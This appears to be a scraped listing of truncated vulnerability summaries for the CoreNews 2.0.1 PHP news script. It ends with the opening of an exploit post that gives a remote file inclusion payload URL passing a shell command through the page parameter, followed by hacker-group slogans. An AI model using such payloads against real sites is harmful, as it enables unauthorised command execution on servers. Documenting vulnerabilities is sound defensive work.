CVE-2006-2033

CoreNews risk (CVE-2006-2033): A PHP remote file inclusion vulnerability affecting Core CoreNews 2.0.1 and earlier allows remote authenticated users to execute arbitrary commands via the show parameter. This is described as a distinct vector from CVE-2006-1212. Affected: CoreNews 2.0.1 and earlie...

CVE-2006-1212

CVE-2006-1212 concerns Core CoreNews 2.0.1 where an issue in index.php allegedly allows remote command execution via a page parameter, possibly via a PHP remote file include vulnerability; however, source inspection could not confirm the presence of a page parameter in CoreNews 2.0.1. The connect...

CVE-2006-1212

Unspecified vulnerability in index.php in Core CoreNews 2.0.1 allows remote attackers to execute arbitrary commands via the page parameter, possibly due to a PHP remote file include vulnerability. NOTE: this vulnerability could not be confirmed by source code inspection of CoreNews 2.0.1, which...

CoreNews 2.0.1 Remote Command Exucetion

Webpage : www.coreslawn.de Risk : high Code : http://www.example.com/index.php?page=evilcode?&cmd=id For Patriotic Hackers Freedom For Ocalan irc.gigachat.net kurdhack...